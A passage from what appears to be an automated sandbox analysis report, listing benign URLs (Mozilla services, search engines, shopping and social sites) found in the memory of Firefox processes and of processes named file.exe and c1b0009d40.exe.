Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000003.3097703170.0000025935B79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D45512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001A.00000003.3153782991.000002593D8DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsopenIDB/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000003.3079779963.0000025935546000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3072690944.000002593B8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000003.3137894022.00000259371E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/http://www.mozilla.org/keymaster/gatekeeper/there
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B85F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3066988421.000002593BB53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchdf070348-e771-4bd5-964e-d19d82c1384e
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/media.gmp-manager.cert.requireBuiltInresource://gre/modules/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/AND
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001A.00000002.3186609548.000002592FA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001A.00000003.3111017875.000002593BFDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3106778667.000002593BFE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3111017875.000002593BFF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2142992607.0000000006441000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2849411017.0000000005F60000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2979383232.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
